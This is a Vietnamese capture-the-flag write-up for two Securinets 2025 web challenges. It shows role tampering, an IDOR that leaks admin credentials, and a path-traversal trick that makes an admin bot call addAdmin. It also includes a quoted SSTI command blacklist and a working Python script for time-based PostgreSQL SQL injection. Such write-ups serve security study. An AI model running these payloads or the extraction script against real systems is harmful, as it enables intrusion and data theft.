---
# System prepended metadata

title: Securinets CTF Quals 2025 writeup
tags: [ctf_writeup]

---

 # Puzzle
 > Solve without source if you're hardcore.
 > http://puzzle-c4d26ae9.p1.securinets.tn/
 > 
 > **Author:** Karrab

Bài này cho ta một ứng dụng Flask với chức năng chính cho phép người dùng đăng bài viết (`/publish`), đồng thời có thể hợp tác với người dùng khác (`collaborations`) 

![image](https://hackmd.io/_uploads/SJTg91bpex.png)


Và để có thể đăng bài collab với author khác thì cần phải được họ accept trước đã, nếu không bài viết sẽ ở trạng thái "pending"

![image](https://hackmd.io/_uploads/H1An9ybpxe.png)

Sau khi được accepted, ta có thể xem bài viết
![image](https://hackmd.io/_uploads/Hk7Sjy-Tgx.png)

Ngoài ra có thêm một trang profile chứa thông tin bản thân

![image](https://hackmd.io/_uploads/SyJ1sJ-6gx.png)

Nắm được cơ bản các chức năng của trang web rồi mình bắt đầu đi phân tích

## phân tích

Cấu trúc thư mục của trang web như sau:
```
Puzzle
├─ app.py
├─ auth.py
├─ Dockerfile
├─ models.py
├─ requirements.txt
├─ routes.py
├─ static
│  ├─ css
│  └─ images
├─ templates
│  ├─ foo.html
```

Mình sẽ tập trung vào `routes.py` - là nơi định nghĩa các endpoint và triền khai logic xử lý chính của trang web

Lướt nhanh qua source code ngay lập tức chúng ta sẽ thấy có lỗi SSTI ở route `/admin/ban_user`
![image](https://hackmd.io/_uploads/H15kfe-pge.png)

```python=
@app.route('/admin/ban_user', methods=['POST'])
@admin_required
def ban_user():
    def is_safe_input(user_input):
        blacklist = [
        '__', 'subclasses', 'self', 'request', 'session',
        'config', 'os', 'import', 'builtins', 'eval', 'exec', 'compile',
        'globals', 'locals', 'vars', 'delattr', 'getattr', 'setattr', 'hasattr',
        'base', 'init', 'new', 'dict', 'tuple', 'list', 'object', 'type',
        'repr', 'str', 'bytes', 'bytearray', 'format', 'input', 'help',
        'file', 'open', 'read', 'write', 'close', 'seek', 'flush', 'popen',
        'system', 'subprocess', 'shlex', 'commands', 'marshal', 'pickle', 'tempfile',
        'os.system', 'subprocess.Popen', 'shutil', 'pathlib', 'walk', 'stat',
        '[', '(', ')', '|', '%','_', '"','<', '>','~'
        ]
        lower_input = user_input.lower()
        return not any(bad in lower_input for bad in blacklist)

    username = request.form.get('username', '')

    if not is_safe_input(username):
        return admin_panel(ban_message='Blocked input.'), 400

    with sqlite3.connect(DB_FILE) as conn:
        c = conn.cursor()
        c.execute("SELECT * FROM users WHERE username = ?", (username,))
        user = c.fetchone()

    if not user:
        template = 'User {} does not exist.'.format(username)
    else:
        template = 'User account {} is too recent to be banned'.format(username)

    ban_message = render_template_string(template)

    return admin_panel(ban_message=ban_message), 200
```

Tuy nhiên chức năng này đã bị giới hạn **"@admin_required"**

=> Vậy mục tiêu sẽ là leo lên được admin

---

Tiếp tục phân tích src, mình tìm thấy route `/users/<string:target_uuid>` rằng user với role `0` hoặc `1` có thể xem chi tiết thông tin user khác nếu biết được `uuid` của họ - kể cả password :smiley: 

=> thế tức là chỉ cần có được `uuid` của admin là ta đã có được admin account

```python=

@app.route('/users/<string:target_uuid>')
def get_user_details(target_uuid):
    current_uuid = session.get('uuid')
    if not current_uuid:
        return jsonify({'error': 'Unauthorized'}), 401

    current_user = get_user_by_uuid(current_uuid)
    if not current_user or current_user['role'] not in ('0', '1'):
        return jsonify({'error': 'Invalid user role'}), 403

    with sqlite3.connect(DB_FILE) as conn:
        conn.row_factory = sqlite3.Row
        c = conn.cursor()
        c.execute("""
            SELECT uuid, username, email, phone_number, role, password
            FROM users 
            WHERE uuid = ?
        """, (target_uuid,))
        user = c.fetchone()

    if not user:
        return jsonify({'error': 'User not found'}), 404

    return jsonify({
        'uuid': user['uuid'],
        'username': user['username'],
        'email': user['email'],
        'phone_number': user['phone_number'],
        'role': user['role'],
        'password': user['password']
    })
```

Nhưng trước đó mình cần phải có được role `0` (admin) hoặc `1` (editor) đã. Thử "Ctrl + Shift + F" mình trace ngược lại những nơi xử lý role:

- `/confirm-register` 
![image](https://hackmd.io/_uploads/HkBGdlbplx.png)

Khi đăng ký tài khoản thì form submit ở frontend không chỉ định parameter `role` nên mặc định được đặt là `2` - user bình thường...

Nhưng ta có thể control tham số này và chỉnh sửa role tùy thích, mình thực hiện đăng ký user mới với role `editor`

![image](https://hackmd.io/_uploads/H1gUtlWpel.png)

Vậy là sau khi có role mình đã có thể xem được user info:
![image](https://hackmd.io/_uploads/rkzyqgZ6xg.png)


---

Bài toán tiếp theo là làm thế nào để biết được `uuid` của thằng admin. Về cái uuid này được generate ngẫu nhiên với `uuid4()` nên việc đoán là không thể, cần phải tìm được trick nào đó khác.

Tiếp tục phân tích, tại `models.py` có khai báo hai hàm `get_user_by_username()` và `get_user_by_uuid()`.
chi tiết thì nó sẽ thực hiện truy vấn tới sqlite3 db để lấy ra thông tin của user

```python=
def get_user_by_username(username):
    with sqlite3.connect(DB_FILE) as conn:
        c = conn.cursor()
        c.execute("SELECT uuid, username, email, phone_number, password, role FROM users WHERE username=?", (username,))
        row = c.fetchone()
        if row:
            return {
                'uuid': row[0],
                'username': row[1],
                'email': row[2],
                'phone_number': row[3],
                'password': row[4],
                'role': row[5]
            }
        return None
```
Hàm này đã được triển khai parameterized query rất chuẩn nên không có lỗi SQL injection, nhưng nó có thứ mình cần -> Chỉ truyền vào `username` là ta đã có được những thông tin khác đó là `uuid`. 

Và những vị trí sử dụng hàm này là: `/login` - bỏ qua, không thể bypass, `/publish` và `/collab/request`

![image](https://hackmd.io/_uploads/BJxA3g-axx.png)


- `/publish`
    <details> <summary> src </summary>

    ```python=
    @app.route('/publish', methods=['GET', 'POST'])
    def publish():
        if not session.get('uuid'):
            return redirect('/login')
        user = get_user_by_uuid(session['uuid'])
        if not user:
            return redirect('/login')

        if user['role'] == '0':
            return jsonify({'error': 'Admins cannot publish articles'}), 403

        if request.method == 'POST':
            title = request.form.get('title')
            content = request.form.get('content')
            collaborator = request.form.get('collaborator')

            if not title or not content:
                return jsonify({'error': 'Title and content are required'}), 400

            try:
                with sqlite3.connect(DB_FILE) as conn:
                    c = conn.cursor()
                    c.execute("SELECT COUNT(*) FROM articles WHERE author_uuid = ?", (session['uuid'],))
                    article_count = c.fetchone()[0]

                    if (article_count >= 20):
                        return jsonify({'error': 'You have reached the maximum limit of 20 articles'}), 403

                    if collaborator:
                        collab_user = get_user_by_username(collaborator)
                        if not collab_user:
                            return jsonify({'error': 'Collaborator not found'}), 404

                        request_uuid = str(uuid4())
                        article_uuid = str(uuid4())
                        c.execute("""
                            INSERT INTO collab_requests (uuid, article_uuid, title, content, from_uuid, to_uuid)
                            VALUES (?, ?, ?, ?, ?, ?)
                        """, (request_uuid, article_uuid, title, content, session['uuid'], collab_user['uuid']))
                        conn.commit()
                        return jsonify({'message': 'Collaboration request sent'})
                    else:
                        article_uuid = str(uuid4())
                        c.execute("""
                            INSERT INTO articles (uuid, title, content, author_uuid)
                            VALUES (?, ?, ?, ?)
                        """, (article_uuid, title, content, session['uuid']))
                        conn.commit()
                        return jsonify({'message': 'Article published successfully'})
            except Exception as e:
                return jsonify({'error': str(e)}), 500

        return render_template('publish.html')
    ```
    </details>
    
    khi ta tạo một bài viết (article) và muốn "collab" với người khác, nó sẽ thực hiện kiểm tra người dùng - `collaborator` này có tồn tại không bằng `get_user_by_username()` - nếu có sẽ thêm các thông tin của user này vào bảng `collab_requests`. 
    
    Và khi request collab được "accepted", những thông tin ấy sẽ tiếp tục được đính kèm vào bài `article` trên
    
    
- `/collab/request`
    <details> <summary> src</summary> 
        ```python
    
        @app.route('/collab/request', methods=['POST'])
        def send_collab():
            if not is_localhost():
                return jsonify({'error': 'Access denied.'}), 403

            current_uuid = session.get('uuid')
            if not current_uuid:
                return 'Unauthorized', 401

            user = get_user_by_uuid(session['uuid'])
            if not user:
                return redirect('/login')
            if user['role'] == '0':
                return jsonify({'error': 'Admins cannot collaborate'}), 403

            target_username = request.form.get('username')
            target_user = get_user_by_username(target_username)
            if not target_user:
                return 'User not found', 404

            with sqlite3.connect(DB_FILE) as conn:
                c = conn.cursor()
                query = f"INSERT INTO collab_requests VALUES ('{current_uuid}', '{target_user['uuid']}')"
                c.execute(query)
                conn.commit()

            return jsonify({
                'message': 'Request sent',
                'to_uuid': target_user['uuid']
            })
        ```
    </details>
    
    route này thì chỉ cho phép request đến từ ip loopback - nếu có thêm bug SSRF nữa thì (maybe) mình sẽ có thể tận dụng nó
    
    ![image](https://hackmd.io/_uploads/SJn6k-WTgx.png)
    
    ![image](https://hackmd.io/_uploads/BJuklZ-Tlx.png)
    
Tiếp tục với hướng trên, mình xem cách server xử lý "collab request" như thế nào

![image](https://hackmd.io/_uploads/Sk55g--age.png)

=> lỗi IDOR khi mà server không xử lý collab request kia dành cho ai - thông thường thì khi ta muốn collab với `admin` thì nên chỉ có `admin` mới có thể "accept" cái collab request ấy nhưng ở đây trang web không xử lý tình huống này và bất cứ ai cũng có thể tự accept được

Vậy kịch bản sẽ là: tạo article và yêu cầu collab với `admin` -> tự accept yêu cầu collab bằng `/collab/accept/<request_uuid>` -> sau khi accept, thông tin uuid của `admin` được đính kèm vào article -> admin account
![image](https://hackmd.io/_uploads/B1StfZbpxg.png)


## exploit
![image](https://hackmd.io/_uploads/rJjWQ-ZTgg.png)

![image](https://hackmd.io/_uploads/BJjtmWZTgg.png)
> article_uuid

![image](https://hackmd.io/_uploads/SJh6QWZaxl.png)
> collab accepted

![image](https://hackmd.io/_uploads/SyIzEZ-pxe.png)

![image](https://hackmd.io/_uploads/r1WN4bZpgl.png)

![image](https://hackmd.io/_uploads/SJJUNbbaxg.png)

và mình đã có được thông tin `admin`


---

Tiếp theo là SSTI tại tính năng `ban_user`

![image](https://hackmd.io/_uploads/HJ5Zr-W6el.png)

Nhưng quả filter này là quá chặt và hóa ra đây chỉ là rabbit hole :cry: 


```python=
def is_safe_input(user_input):
    blacklist = [
    '__', 'subclasses', 'self', 'request', 'session',
    'config', 'os', 'import', 'builtins', 'eval', 'exec', 'compile',
    'globals', 'locals', 'vars', 'delattr', 'getattr', 'setattr', 'hasattr',
    'base', 'init', 'new', 'dict', 'tuple', 'list', 'object', 'type',
    'repr', 'str', 'bytes', 'bytearray', 'format', 'input', 'help',
    'file', 'open', 'read', 'write', 'close', 'seek', 'flush', 'popen',
    'system', 'subprocess', 'shlex', 'commands', 'marshal', 'pickle', 'tempfile',
    'os.system', 'subprocess.Popen', 'shutil', 'pathlib', 'walk', 'stat',
    '[', '(', ')', '|', '%','_', '"','<', '>','~'
    ]
    lower_input = user_input.lower()
    return not any(bad in lower_input for bad in blacklist)
```

cuối cùng mình tìm thêm được phần "resources" của admin
![image](https://hackmd.io/_uploads/H1fPB-Wplg.png)

![image](https://hackmd.io/_uploads/ryGFrWWpll.png)

loay hoay một hồi thử crack mật khẩu `secrets.zip` nhưng cuối cùng password lại ở `dbconnect.exe` :criii:

![image](https://hackmd.io/_uploads/ryvZIZZTel.png)

> Securinets{777_P13c3_1T_Up_T0G3Th3R}

# S3cret5
> My friend built a “secure” secret vault where anyone can register, log in, and save private secrets. He swears it’s fully secure: owner-only access, CSRF protection, logs. Prove him wrong.
> http://web1-79e4a3bc.p1.securinets.tn/secrets
> 
> **Author:** Enigma522

Bắt đầu thì mình sẽ dạo một vòng qua trang web, đầu tiên ta sẽ nhận được một form đăng ký tài khoản

![image](https://hackmd.io/_uploads/SJdAIwbael.png)

Sau khi reg acc xong ta được giao diện như sau

![image](https://hackmd.io/_uploads/H1hmPw-Tee.png)


**Ở `profile`** mình có thể cập nhật "description" của bản thân![image](https://hackmd.io/_uploads/BJBFDDZTxl.png)

và để ý mỗi khi truy cập profile của bản thân - `/user/profile/?id=<id>` thì nó còn sinh thêm một request tới `/log` như sau:
![image](https://hackmd.io/_uploads/Hy1oOD-Tex.png)

**Ở `secrets`** cho phép ta tạo và lưu chuỗi "secret" của mình
![image](https://hackmd.io/_uploads/Hym5YPbpel.png)

Ngoài ra còn có route `/report` cho phép nhập một URL nữa => Khả năng sẽ có bug XSS hoặc CSRF trong bài này. 

![image](https://hackmd.io/_uploads/S1Ru0_bplg.png)

- Tại `report.js` triển khai một con bot với admin cookie sẽ truy cập vào URL mà ta nhập vào, nhưng chỉ giới hạn với URL trong localhost

![image](https://hackmd.io/_uploads/ByiryKbaex.png)

Bởi vì frontend đều được nodejs render bằng template nên thường dữ liệu sẽ bị html-escaped -> không thể có xss trừ khi `<%-`

- phần frontend được nodejs render thông qua template engine EJS nên phần dữ liệu thường auto bị HTML-escape nên gần như không thể xảy ra XSS trừ trường hợp `<%- %>`, nhưng rất tiếc vì bài này không có. Bỏ qua khả năng XSS.

## phân tích


Ở bài này flag được đặt trong database là postgres
![image](https://hackmd.io/_uploads/HkwU5d-peg.png)


cấu trúc thư mục như sau:
```
Secrets
├─ config
│  └─ database.js
├─ controllers
│  ├─ adminController.js
│  ├─ authController.js
│  ├─ LogController.js
│  ├─ msgController.js
│  ├─ secretsController.js
│  └─ userController.js
├─ docker-compose.yaml
├─ Dockerfile
├─ helpers
│  └─ filterHelper.js
├─ init.sql
├─ middleware
│  └─ authMiddleware.js
├─ models
│  ├─ Msg.js
│  ├─ Secrets.js
│  └─ User.js
├─ package-lock.json
├─ package.json
├─ public
│  └─ app.js
├─ routes
│  ├─ admin.js
│  ├─ auth.js
│  ├─ log.js
│  ├─ msgs.js
│  ├─ report.js
│  ├─ secrets.js
│  └─ user.js
├─ server.js
└─ views
   ├─ ...
   └─ ...
```


Tiếp tục phân tích source code, mình phát hiện có bug **SQLi** tại hàm `filterBy()` trong `filterHelper.js`

![image](https://hackmd.io/_uploads/rkfxfKWpgl.png)

trace ngược lại những nơi sử dụng hàm này. 

>Msg.js

![image](https://hackmd.io/_uploads/S1kufKbTlg.png)

![image](https://hackmd.io/_uploads/SkGYzY-pxe.png)

>msgController.js

![image](https://hackmd.io/_uploads/SyhnfYWaxx.png)

=> Đó là route `POST /admin/msgs` - sqli tại chức năng filter các "message" -> vậy từ điểm này ta sẽ có thể leak được flag cũng được đặt trong database.

Tuy nhiên chức năng này chỉ dành cho người dùng admin nên mục tiêu trước mắt của ta sẽ là "leo" lên quyền admin.
![image](https://hackmd.io/_uploads/BJox4FZ6gg.png)


---

Ngoài ra site admin còn có một chức năng khác cũng rất đáng chú ý `POST /admin/addAdmin` 

```javascript=
exports.addAdmin = async (req, res) => {
  try {
    const { userId } = req.body;

    if (req.user.role !== "admin") {
      return res.status(403).json({ error: "Access denied" });
    }

    const updatedUser = await User.updateRole(userId, "admin");
    res.json({ message: "Role updated", user: updatedUser });
  } catch (err) {
    console.error(err);
    res.status(500).json({ error: "Failed to update role" });
  }
};

```
nó cho phép admin có thể thêm quyền admin cho người dùng bất kỳ, request mẫu có dạng 

![image](https://hackmd.io/_uploads/HJqiUtbagg.png)


Ban đầu mình đã nghĩ kịch bản sẽ là lợi dụng admin bot để CSRF "addAdmin", nhưng không nó chỉ là rabbit hole :crii:

Bài này triển khai phòng chống CSRF rất cẩn thận, sử dụng middle `@dr.pogodin/csurf` - Mỗi request POST đều phải gửi kèm token hợp lệ được sinh trong server.js. Token này được lưu trong cookie và được render ra view qua `res.locals.csrfToken` hoặc endpoint `/csrf-token`. Đồng thời thêm cả custom header để kiểm tra csrfToken...

CSRF cũng dần nohope, vậy làm thế nào để lợi dụng được cái report kia... nhìn lại thì mới thấy mình đã bỏ quên một route `/log`...
Cụ thể mỗi khi ta truy cập vào `/user/profile/?id=...` thì một request `POST /log/...` tự động được gửi đi

![image](https://hackmd.io/_uploads/ByGt9t-6lx.png)

Để ý chỗ này
![image](https://hackmd.io/_uploads/B1zh5YWTxx.png)

Biến `profileId` (là chuỗi có thể control) lại được nối thành đường dẫn URL thế kia dẫn tới tình huống là nếu ta truyền vào `../../../` thì khi gửi fetch request, browser nó sẽ tự động chuẩn hóa thành `/log/../../../`-> `/`

![image](https://hackmd.io/_uploads/S1LY3YZ6xl.png)

so sánh với ảnh lúc trước mk chụp
> ![image](https://hackmd.io/_uploads/SkOjhtWalx.png)


=> Vậy nếu nó là `/log/../../../admin/addAdmin` thì sẽ trở thành `/admin/addAdmin` :fire: 

Tóm lại, mình sẽ bắt con admin bot truy cập tới `http://localhost:3000/user/profile/?id=1/../../../../admin/addAdmin`

> payload cần là `?id=1/../../..` thay vì `?id=../../../../` vì ở phía backend nó gọi hàm `parseInt()` để xử lý
> ![image](https://hackmd.io/_uploads/rk7fRt-pll.png)
> parseInt() - cố chuyển đổi input - string thành integer. nếu chuỗi input có cả ký tự không phải số thì nó chỉ lấy phần số và "ignore" phần còn lại 


Và may mắn là route `/admin/addAdmin` này cũng chỉ nhận một tham số là `userId` trùng với request của `POST /log` 
![image](https://hackmd.io/_uploads/SkT4kqWaxl.png)

vậy thế là mình đã có được role admin

![image](https://hackmd.io/_uploads/ryWAVEGTxg.png)

![image](https://hackmd.io/_uploads/BJLfBEMpee.png)


---

Tiếp theo là sqli ở filter message

![image](https://hackmd.io/_uploads/S1u4SVfall.png)

Lỗi ở param `filterBy` được "concat" trực tiếp vào câu lệnh query
![image](https://hackmd.io/_uploads/Hy-2i4Gaex.png)

Query gốc 
![image](https://hackmd.io/_uploads/Sy8kMLMaee.png)

=> payload:`?filterBy`=`msg" = '1' AND 1=(SELECT CASE WHEN (1=1) THEN 1 ELSE 1/0 END) AND msgs."msg`
- khi điều kiện đúng thì nó trả response 200
- khi điều kiện sai thì db sẽ throw exception và trả response `400 Bad request `
![image](https://hackmd.io/_uploads/BJGHiLzTle.png)
![image](https://hackmd.io/_uploads/rkRBiIz6el.png)


Nhưng trong bài này thì điều kiện rất phức tạp, khó control được kết quả true/false nên sử dụng cách time-based sẽ dễ hơn 
![image](https://hackmd.io/_uploads/rkSW4PMagg.png)


Vậy payload cuối cùng là
``` sql
msg" = '1' AND ((SELECT CASE WHEN substring(flag,1,1)='S' THEN pg_sleep(5) ELSE pg_sleep(0) END from flags) is null ) AND msgs."msg
```

## exploit 

- **`solve.py`**

```python=
import requests
import time
import string


url = "http://172.30.13.232:3000/admin/msgs"
cookies = {"_csrf": "FPa96AwE19jk0Pyt7igb70FG", "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Miwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzU5ODMyNzIwLCJleHAiOjE3NTk4MzYzMjB9.-wKGnDCZ_oXo_jtNTPQTF-_LI54_TJdC1VEeKogbQ5Y"}

charset = string.ascii_letters + string.digits + "{}_"
flag = ""

def get_csrf_token():
    r = requests.get(url=url, cookies=cookies)
    csrf_token = r.text.split('name="_csrf" value="')[1].split('"')[0]
    print(f"CSRF Token: {csrf_token}\n")
    return csrf_token    


if __name__ == "__main__":
    csrf_token = get_csrf_token()
    
    for pos in range(1,100): # skip get_length()
        for char in charset:
            payload = f"msg\" = '1' AND ((SELECT CASE WHEN substring(flag,{pos},1)='{char}' THEN pg_sleep(3) ELSE pg_sleep(0) END from flags) is null ) AND msgs.\"msg"
    
            data = {
                "_csrf": csrf_token,
                "filterBy": payload,
                "keyword": "aaa"
            }
            
            start = time.time()
            r = requests.post(url, cookies=cookies, data=data, timeout=5)
            end = time.time() - start
        
            if end > 2.5: # (sleep 3 second)
                flag += char
                print(f"Position {pos:2d}: '{char}' | Flag: {flag}")
                break
            time.sleep(0.1) 
            
    print(f"Flag: {flag}")

```